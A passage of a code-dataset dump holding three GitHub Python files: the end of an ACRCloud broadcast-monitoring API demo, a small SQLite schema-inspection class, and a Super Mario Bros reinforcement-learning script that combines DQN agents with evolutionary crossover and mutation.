return jresults\n\n def get_channel_urls(self, channel_id):\n urls = self.api.get_channel_urls(channel_id)\n jurls = json.loads(urls)\n return jurls\n\n def add_channel_urls(self, channel_id, add_urls):\n ret = self.api.add_channel_urls(channel_id, add_urls)\n return ret\n\n def del_channel_urls(self, channel_id, del_urls):\n ret = self.api.del_channel_urls(channel_id, del_urls)\n return ret\n\n def download_rec_recording(self, access_key, channel_id, record_timestamp, played_duration):\n fname, content = self.api.download_rec_recording(access_key, channel_id, record_timestamp, played_duration)\n return fname, content\n\n def get_day_recording_list(self, access_key, channel_id, date):\n ret = self.api.get_day_recording_list(access_key, channel_id, date)\n recording_list = json.loads(ret)\n return recording_list\n\n def download_hour_recording(self, access_key, channel_id, timestamp, duration, file_type):\n fname, content = self.api.download_hour_recording(access_key, channel_id, timestamp, duration, file_type)\n return fname, content\n\nif __name__ == \"__main__\":\n config = {\n \"account_access_key\" : \"XXXX\",\n \"account_access_secret\" : \"XXXXXXXXXX\",\n }\n\n ams = Acrcloud_Monitor_Demo(config)\n\n \"\"\"\n #Get all the projects\n project_list = ams.projects()\n \"\"\"\n\n \"\"\"\n #Set State Callback_URL\n #post_data_type: \"json\" or \"form\"\n ams.set_state_callback(\"\", \"\", \"json\")\n \"\"\"\n\n \"\"\"\n #Set Result Callback_URL\n #send_noresult: True or False\n #post_data_type: \"json\" or \"form\"\n #result_type: \"realtime\" or \"delay\"\n print ams.set_result_callback(\"\", \"\", False, \"form\", \"realtime\")\n \"\"\"\n\n \"\"\"\n project_name = \"\"\n print ams.all_project_channels(project_name)\n\n channel_id = \"\"\n print ams.channel_info(channel_id)\n \"\"\"\n\n \"\"\"\n channel_id = \"XXXXX\"\n print ams.get_channel_urls(channel_id)\n add_url_list = [\"url1\"]\n print ams.add_channel_urls(channel_id, add_url_list)\n print ams.get_channel_urls(channel_id)\n del_url_list = [\"url1\"]\n print ams.del_channel_urls(channel_id, del_url_list)\n \"\"\"\n\n \"\"\"\n # download rec recording\n access_key = \"\"\n channel_id = \"\"\n record_timestamp = \"20191203131312\"\n played_duration = 100\n fname, fcontent = ams.download_rec_recording(access_key, channel_id, record_timestamp, played_duration)\n if not fname.endswith(\"failed\"):\n with open(fname, \"wb\") as wfile:\n wfile.write(fcontent)\n \"\"\"\n\n \"\"\"\n # download hour recording\n access_key = \"\"\n channel_id = \"\"\n date = \"\"\n jinfo = ams.get_day_recording_list(access_key, channel_id, date)\n for item in jinfo[\"data\"]:\n print item\n timestamp = item[\"timestamp\"]\n duration = item[\"duration\"]\n file_type = item[\"type\"]\n fname, fcontent = ams.download_hour_recording(access_key, channel_id, timestamp, duration, file_type)\n print fname\n with open(fname, \"wb\") as wfile:\n wfile.write(fcontent)\n \"\"\"\n","repo_name":"acrcloud/webapi_example","sub_path":"RESTful service/monitor_api_for_broadcast_database.py","file_name":"monitor_api_for_broadcast_database.py","file_ext":"py","file_size_in_byte":14706,"program_lang":"python","lang":"en","doc_type":"code","stars":72,"dataset":"github-code","pt":"18"} +{"seq_id":"18679882135","text":"\r\nclass info:\r\n def __init__(self,db) -> None:\r\n self.db = db\r\n pass\r\n\r\n def getAllTablesInfo(self, db=None):\r\n if db is None:\r\n db = self.db \r\n data = {}\r\n for t in self.tableNames(db):\r\n data[t] = self.tableKeys(t,db)\r\n return data\r\n def tableNames(self,db=None):\r\n if db is None:\r\n db = self.db\r\n result = db.im.execute( \"SELECT name FROM sqlite_master WHERE type='table';\").fetchall()\r\n if len(result) == 0:\r\n return []\r\n else:\r\n return sorted(list(zip(*result))[0])\r\n def tableKeys(self,table=None,db=None):\r\n if db is None:\r\n db = self.db\r\n if table is None:\r\n table = self.tableNames(db)\r\n if isinstance(table,str):\r\n result = db.im.execute(\"PRAGMA table_info('%s')\" % table).fetchall()\r\n return list(zip(*result))[1]\r\n elif isinstance(table,list) or isinstance(table,tuple):\r\n r = []\r\n for t in table:\r\n result = db.im.execute(\"PRAGMA table_info('%s')\" % t).fetchall()\r\n r.append(list(zip(*result))[1])\r\n return r\r\n else:\r\n raise(\"tableKeys Error: table is str,list,tuple\")\r\n \r\n","repo_name":"msn560/sqlite3_classes","sub_path":"Info.py","file_name":"Info.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73527425320","text":"# Einbinden der Bibliotheken\nimport torch\nimport torch.nn as nn\nimport random\nimport gym_super_mario_bros\nfrom nes_py.wrappers import JoypadSpace\nfrom pygame.locals import K_ESCAPE\nfrom tqdm import tqdm\nimport pickle\nfrom gym_super_mario_bros.actions import RIGHT_ONLY\nfrom gym_super_mario_bros.actions import SIMPLE_MOVEMENT\nimport gym\nimport numpy as np\nimport collections\nimport cv2\nimport matplotlib.pyplot as plt\nfrom IPython import display\nimport numpy as np\nimport pygame\nimport sys \n\n# from pygame import display\n\n# Benutzerdefinierte Wrapper-Erwweiterung\nclass MaxAndSkipEnv(gym.Wrapper):\n def __init__(self, env=None, skip=4):\n \"\"\"Return only every `skip`-th frame\"\"\"\n super(MaxAndSkipEnv, self).__init__(env)\n # most recent raw observations (for max pooling across time steps)\n self._obs_buffer = collections.deque(maxlen=2)\n self._skip = skip\n\n def step(self, action):\n total_reward = 0.0\n done = None\n for _ in range(self._skip):\n obs, reward, done, info = self.env.step(action)\n self._obs_buffer.append(obs)\n total_reward += reward\n if done:\n break\n max_frame = np.max(np.stack(self._obs_buffer), axis=0)\n return max_frame, total_reward, done, info\n\n def reset(self):\n \"\"\"Clear past frame buffer and init to first obs\"\"\"\n self._obs_buffer.clear()\n obs = self.env.reset()\n self._obs_buffer.append(obs)\n return obs\n\n\n# Skalierung und Umwandlung in Graustufen\nclass ProcessFrame84(gym.ObservationWrapper):\n \"\"\"\n Downsamples image to 84x84\n Greyscales image\n\n Returns numpy array\n \"\"\"\n\n def __init__(self, env=None):\n super(ProcessFrame84, self).__init__(env)\n self.observation_space = gym.spaces.Box(low=0, high=255, shape=(84, 84, 1), dtype=np.uint8)\n\n def observation(self, obs):\n return ProcessFrame84.process(obs)\n\n @staticmethod\n def process(frame):\n if frame.size == 240 * 256 * 3:\n img = np.reshape(frame, [240, 256, 3]).astype(np.float32)\n else:\n assert False, \"Unknown resolution.\"\n img = img[:, :, 0] * 0.299 + img[:, :, 1] * 0.587 + img[:, :, 2] * 0.114\n resized_screen = cv2.resize(img, (84, 110), interpolation=cv2.INTER_AREA)\n x_t = resized_screen[18:102, :]\n x_t = np.reshape(x_t, [84, 84, 1])\n return x_t.astype(np.uint8)\n\n\n# Änderung Reihenfolge der Achsen für PyTorch\nclass ImageToPyTorch(gym.ObservationWrapper):\n def __init__(self, env):\n super(ImageToPyTorch, self).__init__(env)\n old_shape = self.observation_space.shape\n self.observation_space = gym.spaces.Box(low=0.0, high=1.0, shape=(old_shape[-1], old_shape[0], old_shape[1]),\n dtype=np.float32)\n\n def observation(self, observation):\n return np.moveaxis(observation, 2, 0)\n\n\n# Frame wird normalisiert\nclass ScaledFloatFrame(gym.ObservationWrapper):\n \"\"\"Normalize pixel values in frame --> 0 to 1\"\"\"\n\n def observation(self, obs):\n return np.array(obs).astype(np.float32) / 255.0\n\n\n# Puffer um Frames zwischenzuspeichern\nclass BufferWrapper(gym.ObservationWrapper):\n def __init__(self, env, n_steps, dtype=np.float32):\n super(BufferWrapper, self).__init__(env)\n self.dtype = dtype\n old_space = env.observation_space\n self.observation_space = gym.spaces.Box(old_space.low.repeat(n_steps, axis=0),\n old_space.high.repeat(n_steps, axis=0), dtype=dtype)\n\n def reset(self):\n self.buffer = np.zeros_like(self.observation_space.low, dtype=self.dtype)\n return self.observation(self.env.reset())\n\n def observation(self, observation):\n self.buffer[:-1] = self.buffer[1:]\n self.buffer[-1] = observation\n return self.buffer\n\n\n# Transformationen des Eingangsenvironments\ndef make_env(env):\n env = MaxAndSkipEnv(env) # nur jedes 'skip'-te Frame wird zurückgegeben\n env = ProcessFrame84(env) # Skalierung auf 84x84 und Umwandlung in Grauwert\n env = ImageToPyTorch(env) # Änderung der Achsreihenfolge\n env = BufferWrapper(env, 4) # Letzte 4 aufeinanderfolgende Frames werden gespeichert\n env = ScaledFloatFrame(env) # Normalisierung der Frame-Pixel auf zwischen 0 und 1\n return JoypadSpace(env, RIGHT_ONLY) # Aktionen werden auf Rechts-Aktionen beschränkt\n\n\n# Unterklasse von nn.Module -> DQN-Modell\nclass DQNSolver(nn.Module):\n\n def __init__(self, input_shape, n_actions):\n super(DQNSolver, self).__init__()\n # Definition der Faltungsschichten\n self.conv = nn.Sequential(\n nn.Conv2d(input_shape[0], 32, kernel_size=8, stride=4),\n nn.ReLU(),\n nn.Conv2d(32, 64, kernel_size=4, stride=2),\n nn.ReLU(),\n nn.Conv2d(64, 64, kernel_size=3, stride=1),\n nn.ReLU()\n )\n\n conv_out_size = self._get_conv_out(input_shape)\n # Definition der Fully-Connected-Schichten\n self.fc = nn.Sequential(\n nn.Linear(conv_out_size, 512),\n nn.ReLU(),\n nn.Linear(512, n_actions)\n )\n\n # Berechnung der Größe des Ausgabevektors nach Faltungsschichten\n def _get_conv_out(self, shape):\n o = self.conv(torch.zeros(1, *shape))\n return int(np.prod(o.size()))\n\n # Berechnung des Vorwärtspfads, Q-Werte für jede Aktion\n def forward(self, x):\n conv_out = self.conv(x).view(x.size()[0], -1)\n return self.fc(conv_out)\n\n\n# Implementierung eines Agenten unter Verwendung des DQN-Modells\n# Verwendung des DQN-Modells für Training und Entscheidungsfindung\n# Verwaltung eines Erfahrungsspeichers\nclass DQNAgent:\n\n def __init__(self, state_space, action_space, max_memory_size, batch_size, gamma, lr,\n dropout, exploration_max, exploration_min, exploration_decay, double_dq, pretrained):\n\n # Define DQN Layers\n self.state_space = state_space\n self.action_space = action_space\n self.double_dq = double_dq\n self.pretrained = pretrained\n self.device = 'cuda' if torch.cuda.is_available() else 'cpu'\n if self.double_dq:\n self.local_net = DQNSolver(state_space, action_space).to(self.device)\n self.target_net = DQNSolver(state_space, action_space).to(self.device)\n\n if self.pretrained:\n self.local_net.load_state_dict(torch.load(\"dq1.pt\", map_location=torch.device(self.device)))\n self.target_net.load_state_dict(torch.load(\"dq2.pt\", map_location=torch.device(self.device)))\n\n self.optimizer = torch.optim.Adam(self.local_net.parameters(), lr=lr)\n self.copy = 5000 # Copy the local model weights into the target network every 5000 steps\n self.step = 0\n else:\n self.dqn = DQNSolver(state_space, action_space).to(self.device)\n\n if self.pretrained:\n self.dqn.load_state_dict(torch.load(\"dq.pt\", map_location=torch.device(self.device)))\n self.optimizer = torch.optim.Adam(self.dqn.parameters(), lr=lr)\n\n # Create memory\n self.max_memory_size = max_memory_size\n if self.pretrained:\n self.STATE_MEM = torch.load(\"STATE_MEM.pt\")\n self.ACTION_MEM = torch.load(\"ACTION_MEM.pt\")\n self.REWARD_MEM = torch.load(\"REWARD_MEM.pt\")\n self.STATE2_MEM = torch.load(\"STATE2_MEM.pt\")\n self.DONE_MEM = torch.load(\"DONE_MEM.pt\")\n with open(\"ending_position.pkl\", 'rb') as f:\n self.ending_position = pickle.load(f)\n with open(\"num_in_queue.pkl\", 'rb') as f:\n self.num_in_queue = pickle.load(f)\n else:\n self.STATE_MEM = torch.zeros(max_memory_size, *self.state_space)\n self.ACTION_MEM = torch.zeros(max_memory_size, 1)\n self.REWARD_MEM = torch.zeros(max_memory_size, 1)\n self.STATE2_MEM = torch.zeros(max_memory_size, *self.state_space)\n self.DONE_MEM = torch.zeros(max_memory_size, 1)\n self.ending_position = 0\n self.num_in_queue = 0\n\n self.memory_sample_size = batch_size\n\n # Learning parameters\n self.gamma = gamma\n self.l1 = nn.SmoothL1Loss().to(self.device) # Also known as Huber loss\n self.exploration_max = exploration_max\n self.exploration_rate = exploration_max\n self.exploration_min = exploration_min\n self.exploration_decay = exploration_decay\n\n # Erfahrungsspeicher wird ein Erfahrungstupel hinzugefügt\n def remember(self, state, action, reward, state2, done):\n self.STATE_MEM[self.ending_position] = state.float()\n self.ACTION_MEM[self.ending_position] = action.float()\n self.REWARD_MEM[self.ending_position] = reward.float()\n self.STATE2_MEM[self.ending_position] = state2.float()\n self.DONE_MEM[self.ending_position] = done.float()\n self.ending_position = (self.ending_position + 1) % self.max_memory_size # FIFO tensor\n self.num_in_queue = min(self.num_in_queue + 1, self.max_memory_size)\n\n # Zufällige Stichprobe aus Erfahrungswerten wird zurückgegeben\n def recall(self):\n # Randomly sample 'batch size' experiences\n idx = random.choices(range(self.num_in_queue), k=self.memory_sample_size)\n\n STATE = self.STATE_MEM[idx]\n ACTION = self.ACTION_MEM[idx]\n REWARD = self.REWARD_MEM[idx]\n STATE2 = self.STATE2_MEM[idx]\n DONE = self.DONE_MEM[idx]\n\n return STATE, ACTION, REWARD, STATE2, DONE\n\n # Aktion basierend auf aktuellem State wird ausgewählt, mit Wahrscheinlichkeit von Exploration-Rate wird eine zufällige Aktion gewählt\n # Ansonsten Aktion mit höchstem Q-Wert\n def act(self, state):\n # Epsilon-greedy action\n\n if self.double_dq:\n self.step += 1\n if random.random() < self.exploration_rate:\n return torch.tensor([[random.randrange(self.action_space)]])\n if self.double_dq:\n # Local net is used for the policy\n return torch.argmax(self.local_net(state.to(self.device))).unsqueeze(0).unsqueeze(0).cpu()\n else:\n return torch.argmax(self.dqn(state.to(self.device))).unsqueeze(0).unsqueeze(0).cpu()\n\n # Gewichte des lokalen Netzwerks werden in Zielnetzwerk kopiert\n def copy_model(self):\n # Copy local net weights into target net\n\n self.target_net.load_state_dict(self.local_net.state_dict())\n\n # Erfahrungswiederholungsverfahren??\n # Explorations-Rate wird nach jedem Erfahrungswiederholungsprozess abhängig von exploration_decay reduziert\n def experience_replay(self):\n\n if self.double_dq and self.step % self.copy == 0:\n self.copy_model()\n\n if self.memory_sample_size > self.num_in_queue:\n return\n\n STATE, ACTION, REWARD, STATE2, DONE = self.recall()\n STATE = STATE.to(self.device)\n ACTION = ACTION.to(self.device)\n REWARD = REWARD.to(self.device)\n STATE2 = STATE2.to(self.device)\n DONE = DONE.to(self.device)\n\n self.optimizer.zero_grad()\n if self.double_dq:\n # Double Q-Learning target is Q*(S, A) <- r + γ max_a Q_target(S', a)\n target = REWARD + torch.mul((self.gamma *\n self.target_net(STATE2).max(1).values.unsqueeze(1)),\n 1 - DONE)\n\n current = self.local_net(STATE).gather(1, ACTION.long()) # Local net approximation of Q-value\n else:\n # Q-Learning target is Q*(S, A) <- r + γ max_a Q(S', a)\n target = REWARD + torch.mul((self.gamma *\n self.dqn(STATE2).max(1).values.unsqueeze(1)),\n 1 - DONE)\n\n current = self.dqn(STATE).gather(1, ACTION.long())\n\n loss = self.l1(current, target)\n loss.backward() # Compute gradients\n self.optimizer.step() # Backpropagate error\n\n self.exploration_rate *= self.exploration_decay\n\n # Makes sure that exploration rate is always at least 'exploration min'\n self.exploration_rate = max(self.exploration_rate, self.exploration_min)\n\n\n# One-Hot-Kodierung der Aktion, eine Liste von Nullen außer an der Stelle der Aktion = 1\ndef vectorize_action(action, action_space):\n # Given a scalar action, return a one-hot encoded action\n\n return [0 for _ in range(action)] + [1] + [0 for _ in range(action + 1, action_space)]\n\n\n# Aktueller State des Env wird angezeigt\ndef show_state(env, ep=0, info=\"\"):\n plt.figure(3)\n plt.clf()\n plt.imshow(env.render(mode='rgb_array'))\n plt.title(\"Episode: %d %s\" % (ep, info))\n plt.axis('off')\n\n display.clear_output(wait=True)\n display.display(plt.gcf())\n\n\n##################################################################Einpflegen eines Eigenen Modells sowie Agenten##################################################################\n\n# Unterklasse von nn.Module -> Vorbild Go-Explore Architektur\nclass CustomSolver(nn.Module):\n\n def __init__(self, input_shape, n_actions):\n super(CustomSolver, self).__init__()\n # Definition der Faltungsschichten\n self.conv = nn.Sequential(\n nn.Conv2d(input_shape[0], 64, kernel_size=4, stride=4),\n nn.ReLU(),\n nn.Conv2d(64, 128, kernel_size=4, stride=2),\n nn.ReLU(),\n nn.Conv2d(128, 128, kernel_size=3, stride=1),\n nn.ReLU()\n )\n\n conv_out_size = self._get_conv_out(input_shape)\n # Definition der Fully-Connected-Schichten\n self.fc = nn.Sequential(\n nn.Linear(conv_out_size, 800),\n nn.ReLU(),\n nn.Linear(800, n_actions)\n )\n\n # Berechnung der Größe des Ausgabevektors nach Faltungsschichten\n def _get_conv_out(self, shape):\n o = self.conv(torch.zeros(1, *shape))\n return int(np.prod(o.size()))\n\n # Berechnung des Vorwärtspfads\n def forward(self, x):\n conv_out = self.conv(x).view(x.size()[0], -1)\n return self.fc(conv_out)\n\n\n# Implementierung eines Agenten unter Verwendung des Custom-Modells\n# Verwendung des Custom-Modells für Training und Entscheidungsfindung\n# Verwaltung eines Erfahrungsspeichers\n\n\n###################################################Class Neuroagent##############################################################################################################################\n\nclass NeuroAgent:\n\n # Definition der N Agenten und Environments\n def __init__(self, state_space, action_space, max_memory_size, batch_size, gamma, lr, double_dq,\n dropout, exploration_max, exploration_min, exploration_decay, pretrained, pt_number, ea):\n\n self.state_space = state_space\n self.action_space = action_space\n self.double_dq = double_dq\n self.pretrained = pretrained\n self.pt_number = pt_number\n self.ea = ea # Flag for Evolutionary Algorithm\n self.device = 'cuda' if torch.cuda.is_available() else 'cpu'\n\n if not self.ea:\n print(ea)\n self.local_net = CustomSolver(state_space, action_space).to(self.device)\n self.target_net = CustomSolver(state_space, action_space).to(self.device)\n\n if self.pretrained:\n self.local_net.load_state_dict(torch.load(\"rl1.pt\", map_location=torch.device(self.device)))\n self.target_net.load_state_dict(torch.load(\"rl2.pt\", map_location=torch.device(self.device)))\n\n self.optimizer = torch.optim.Adam(self.local_net.parameters(), lr=lr)\n self.copy = 5000 # Copy the local model weights into the target network every 5000 steps\n self.step = 0\n\n else:\n self.dqn = CustomSolver(state_space, action_space).to(self.device)\n\n if self.pretrained:\n self.dqn.load_state_dict(\n torch.load(\"ea{}.pt\".format(pt_number), map_location=torch.device(self.device)))\n self.optimizer = torch.optim.Adam(self.dqn.parameters(), lr=lr)\n\n # Create memory only if rl-Agent\n if not self.ea:\n self.max_memory_size = max_memory_size\n if self.pretrained:\n self.STATE_MEM = torch.load(\"STATE_MEM.pt\")\n self.ACTION_MEM = torch.load(\"ACTION_MEM.pt\")\n self.REWARD_MEM = torch.load(\"REWARD_MEM.pt\")\n self.STATE2_MEM = torch.load(\"STATE2_MEM.pt\")\n self.DONE_MEM = torch.load(\"DONE_MEM.pt\")\n with open(\"ending_position.pkl\", 'rb') as f:\n self.ending_position = pickle.load(f)\n with open(\"num_in_queue.pkl\", 'rb') as f:\n self.num_in_queue = pickle.load(f)\n else:\n self.STATE_MEM = torch.zeros(max_memory_size, *self.state_space)\n self.ACTION_MEM = torch.zeros(max_memory_size, 1)\n self.REWARD_MEM = torch.zeros(max_memory_size, 1)\n self.STATE2_MEM = torch.zeros(max_memory_size, *self.state_space)\n self.DONE_MEM = torch.zeros(max_memory_size, 1)\n self.ending_position = 0\n self.num_in_queue = 0\n\n self.memory_sample_size = batch_size\n\n # Learning parameters\n self.gamma = gamma\n self.l1 = nn.SmoothL1Loss().to(self.device) # Also known as Huber loss\n self.exploration_max = exploration_max\n self.exploration_rate = exploration_max\n self.exploration_min = exploration_min\n self.exploration_decay = exploration_decay\n\n # Erfahrungsspeicher wird ein Erfahrungstupel hinzugefügt\n def remember(self, state, action, reward, state2, done):\n self.STATE_MEM[self.ending_position] = state.float()\n self.ACTION_MEM[self.ending_position] = action.float()\n self.REWARD_MEM[self.ending_position] = reward.float()\n self.STATE2_MEM[self.ending_position] = state2.float()\n self.DONE_MEM[self.ending_position] = done.float()\n self.ending_position = (self.ending_position + 1) % self.max_memory_size # FIFO tensor\n self.num_in_queue = min(self.num_in_queue + 1, self.max_memory_size)\n\n # Zufällige Stichprobe aus Erfahrungswerten wird zurückgegeben\n def recall(self):\n # Randomly sample 'batch size' experiences\n idx = random.choices(range(self.num_in_queue), k=self.memory_sample_size)\n\n STATE = self.STATE_MEM[idx]\n ACTION = self.ACTION_MEM[idx]\n REWARD = self.REWARD_MEM[idx]\n STATE2 = self.STATE2_MEM[idx]\n DONE = self.DONE_MEM[idx]\n\n return STATE, ACTION, REWARD, STATE2, DONE\n\n # Aktion basierend auf aktuellem State wird ausgewählt, mit Wahrscheinlichkeit von Exploration-Rate wird eine zufällige Aktion gewählt\n # Ansonsten Aktion mit höchstem Q-Wert\n def act(self, state):\n # Epsilon-greedy action\n if not self.ea:\n self.step += 1\n if not self.ea:\n if random.random() < self.exploration_rate:\n return torch.tensor([[random.randrange(self.action_space)]])\n if not self.ea:\n # Local net is used for the policy\n return torch.argmax(self.local_net(state.to(self.device))).unsqueeze(0).unsqueeze(0).cpu()\n else:\n return torch.argmax(self.dqn(state.to(self.device))).unsqueeze(0).unsqueeze(0).cpu()\n\n # Erfahrungswiederholungsverfahren??\n # Explorations-Rate wird nach jedem Erfahrungswiederholungsprozess abhängig von exploration_decay reduziert\n\n def copy_model(self):\n # Copy local net weights into target net\n\n self.target_net.load_state_dict(self.local_net.state_dict())\n\n def experience_replay(self):\n\n if self.double_dq and self.step % self.copy == 0:\n self.copy_model()\n\n if self.memory_sample_size > self.num_in_queue:\n return\n\n STATE, ACTION, REWARD, STATE2, DONE = self.recall()\n STATE = STATE.to(self.device)\n ACTION = ACTION.to(self.device)\n REWARD = REWARD.to(self.device)\n STATE2 = STATE2.to(self.device)\n DONE = DONE.to(self.device)\n\n self.optimizer.zero_grad()\n\n if self.double_dq:\n # Double Q-Learning target is Q*(S, A) <- r + γ max_a Q_target(S', a)\n target = REWARD + torch.mul((self.gamma *\n self.target_net(STATE2).max(1).values.unsqueeze(1)),\n 1 - DONE)\n\n current = self.local_net(STATE).gather(1, ACTION.long()) # Local net approximation of Q-value\n else:\n # Q-Learning target is Q*(S, A) <- r + γ max_a Q(S', a)\n target = REWARD + torch.mul((self.gamma *\n self.dqn(STATE2).max(1).values.unsqueeze(1)),\n 1 - DONE)\n\n current = self.dqn(STATE).gather(1, ACTION.long())\n\n loss = self.l1(current, target)\n loss.backward() # Compute gradients\n self.optimizer.step() # Backpropagate error\n\n self.exploration_rate *= self.exploration_decay\n\n # Makes sure that exploration rate is always at least 'exploration min'\n self.exploration_rate = max(self.exploration_rate, self.exploration_min)\n\n # Initialize the weights randomly\n def weights_init(m, m2):\n if (isinstance(m, nn.Conv2d) or isinstance(m, nn.Linear)) and (\n isinstance(m2, nn.Conv2d) or isinstance(m2, nn.Linear)):\n nn.init.xavier_uniform_(m.weight)\n nn.init.xavier_uniform_(m2.weight)\n nn.init.zeros_(m.bias)\n nn.init.zeros_(m2.bias)\n\n\n########################################Klasse NeuroAgentManager####################################################\n\nclass NeuroAgentManager:\n\n def __init__(self, it, pretrained, n_agents, training_mode, n_gutes_erbgut, epsilon, level):\n\n if n_gutes_erbgut > n_agents:\n print(\"Error: n_gutes_erbgut cant be bigger then n_agents\")\n return\n\n self.it = it\n self.pretrained = pretrained\n self.n_agents = n_agents\n self.training_mode = training_mode\n self.n_gutes_erbgut = n_gutes_erbgut\n self.epsilon = epsilon\n self.level = level\n\n self.env = gym_super_mario_bros.make(self.level)\n self.env = make_env(self.env) # Wraps the environment so that frames are grayscale\n observation_space = self.env.observation_space.shape\n action_space = self.env.action_space.n\n\n self.agent = [None] * n_agents\n\n for i in range(n_agents):\n if i == 0:\n ea = False\n else:\n ea = True\n\n self.agent[i] = NeuroAgent(state_space=observation_space,\n action_space=action_space,\n max_memory_size=30000,\n batch_size=32,\n gamma=0.9,\n lr=0.00025,\n double_dq=True,\n dropout=0.,\n exploration_max=1,\n exploration_min=0.02,\n exploration_decay=0.99,\n # double_dq=False,\n pretrained=pretrained,\n pt_number=i,\n ea=ea)\n\n # Wenn Pretrained-Flag gesetzt ist werden Gewichte für NN aus pt-File entnommen, siehe NeuroAgent.__init__()\n if ea == True and pretrained == False:\n self.agent[i].dqn.apply(self.agent[i].weights_init)\n\n # Sequentielles Starten der Agenten\n def start_agents(self):\n \n # Set the dimensions of the pygame window\n window_width = 800\n window_height = 600\n window = pygame.display.set_mode((window_width, window_height))\n clock = pygame.time.Clock()\n\n self.env.reset()\n log_reward = []\n last_rewards = [0] * self.n_agents # List to store the last recorded reward for each agent\n\n for ep_num in tqdm(range(self.it)):\n\n total_rewards = []\n\n for ag_num in range(self.n_agents):\n state = self.env.reset()\n # state = np.array(state)\n state = torch.Tensor([state])\n total_reward = 0\n steps = 0\n\n while True:\n action = self.agent[ag_num].act(state)\n steps += 1\n\n state_next, reward, terminal, info = self.env.step(int(action[0]))\n total_reward += reward\n state_next = torch.Tensor([state_next])\n reward = torch.tensor([reward]).unsqueeze(0)\n terminal = torch.tensor([int(terminal)]).unsqueeze(0)\n\n if ag_num == 0:\n self.agent[0].remember(state, action, reward, state_next, terminal)\n self.agent[0].experience_replay()\n\n state = state_next\n\n screen = self.env.render(mode='rgb_array')\n screen = pygame.surfarray.make_surface(screen)\n screen = pygame.transform.flip(screen, True, False) # Flip verticallyd\n screen = pygame.transform.rotate(screen, 90) # Rotate counterclockwise by 90 degrees\n screen = pygame.transform.scale(screen, (window_width, window_height))\n\n window.blit(screen, (0, 0))\n pygame.display.flip()\n clock.tick(20)\n\n # print(info['x_pos'], info['time'])\n if ((info['x_pos'] < 50) and info['time'] < 280):\n break\n\n if terminal:\n break\n \n for event in pygame.event.get():\n if event.type == pygame.KEYDOWN:\n if event.key == K_ESCAPE:\n pygame.quit()\n\n if ep_num != 0:\n if ag_num in best_agents_ind: # Checking if the agent is part of the best agents\n break\n \n if ep_num != 0:\n if ag_num in best_agents_ind: # Checking if the agent is part of the best agents\n total_reward = last_rewards[ag_num] \n \n total_rewards.append(total_reward)\n \n last_rewards[ag_num] = total_reward # Update the last recorded reward for the agent\n\n if ag_num == 0:\n print(\"Total reward from rl-agent in iteration {} is {}\".format(ep_num + 1,\n total_rewards[-1]))\n else:\n print(\"Total reward from ea-agent {} in iteration {} is {}\".format(ag_num, ep_num + 1,\n total_rewards[-1]))\n if self.training_mode:\n with open(\"ending_position.pkl\", \"wb\") as f:\n pickle.dump(self.agent[0].ending_position, f)\n with open(\"num_in_queue.pkl\", \"wb\") as f:\n pickle.dump(self.agent[0].num_in_queue, f)\n with open(\"total_rewards.pkl\", \"wb\") as f:\n pickle.dump(total_rewards, f)\n\n torch.save(self.agent[0].STATE_MEM, \"STATE_MEM.pt\")\n torch.save(self.agent[0].ACTION_MEM, \"ACTION_MEM.pt\")\n torch.save(self.agent[0].REWARD_MEM, \"REWARD_MEM.pt\")\n torch.save(self.agent[0].STATE2_MEM, \"STATE2_MEM.pt\")\n torch.save(self.agent[0].DONE_MEM, \"DONE_MEM.pt\")\n\n for ag_num in range(self.n_agents):\n if ag_num == 0:\n torch.save(self.agent[ag_num].local_net.state_dict(), \"rl1.pt\")\n torch.save(self.agent[ag_num].target_net.state_dict(), \"rl2.pt\")\n else:\n torch.save(self.agent[ag_num].dqn.state_dict(), \"ea{}.pt\".format(ag_num))\n\n # Reward loggen\n log_reward.append(total_rewards)\n # print(log_reward)\n\n if (ep_num + 1) % 1 == 0:\n # average_rewards = np.mean(log_reward[-10:], axis=0)\n # average_rewards = np.delete(average_rewards, 0) # Remove Agent 0 from average rewards\n # best_agents_ind = np.argsort(average_rewards)[-self.n_gutes_erbgut:][::-1] + 1\n\n lapp_rewards = np.delete(log_reward[-1], 0)\n best_agents_ind = np.argsort(lapp_rewards)[-self.n_gutes_erbgut:][::-1] + 1\n\n print(\"The best {} ea-agents of iteration {} were {}\".format(self.n_gutes_erbgut, ep_num + 1,\n best_agents_ind))\n\n worst_agent_ind = np.argmin(lapp_rewards) + 1 # Find the index of the worst agent\n print(\"The worst ea-agent of iteration {} was {}\".format(ep_num + 1, worst_agent_ind))\n\n for ag_num in range(self.n_agents):\n if ag_num == worst_agent_ind:\n self.agent[ag_num].dqn.load_state_dict(self.agent[0].target_net.state_dict())\n\n print(\"Agent {} received weights from the rl-agent\".format(ag_num))\n\n if ag_num not in best_agents_ind:\n if ag_num != 0:\n if ag_num != worst_agent_ind:\n # Crossover\n selected_agents = random.sample(list(best_agents_ind), k=2)\n\n mixed_weights = []\n for param_idx, param in enumerate(self.agent[selected_agents[0]].dqn.parameters()):\n parent_weights_1 = list(self.agent[selected_agents[0]].dqn.parameters())[\n param_idx].clone()\n parent_weights_2 = list(self.agent[selected_agents[1]].dqn.parameters())[\n param_idx].clone()\n assert parent_weights_1.size() == parent_weights_2.size(), \"Parameter dimensions do not match.\"\n\n new_weights = torch.empty_like(parent_weights_1)\n if (total_rewards[selected_agents[0]] + total_rewards[selected_agents[1]]) == 0:\n total_rewards_ratio = 0\n else: \n total_rewards_ratio = total_rewards[selected_agents[0]] / (\n total_rewards[selected_agents[0]] + total_rewards[selected_agents[1]])\n mask = torch.rand(parent_weights_1.size()) < total_rewards_ratio\n new_weights[mask] = parent_weights_1[mask]\n new_weights[~mask] = parent_weights_2[~mask]\n\n mixed_weights.append(new_weights)\n\n # Mutation\n mutated_weights = []\n for param in mixed_weights:\n noise = torch.empty_like(param).normal_(0, self.epsilon)\n mutated_weights.append(param + noise)\n\n # Initialize the current agent with the mutated weights\n state_dict = self.agent[ag_num].dqn.state_dict()\n for idx, (name, param) in enumerate(state_dict.items()):\n state_dict[name] = mutated_weights[idx]\n self.agent[ag_num].dqn.load_state_dict(state_dict)\n\n print(\n \"Agent {} is now the result of crossover and mutation with agents {} and {}, respectively\".format(\n ag_num, selected_agents[0], selected_agents[1]))\n\n self.env.close()\n\n if self.it > 1:\n log_reward_array = np.array(log_reward)\n # print(log_reward_array)\n for i in range(self.n_agents):\n column = log_reward_array[:, i]\n # print(column)\n\n plt.title(\"Episodes trained vs. Average Rewards (per 100 eps)\")\n 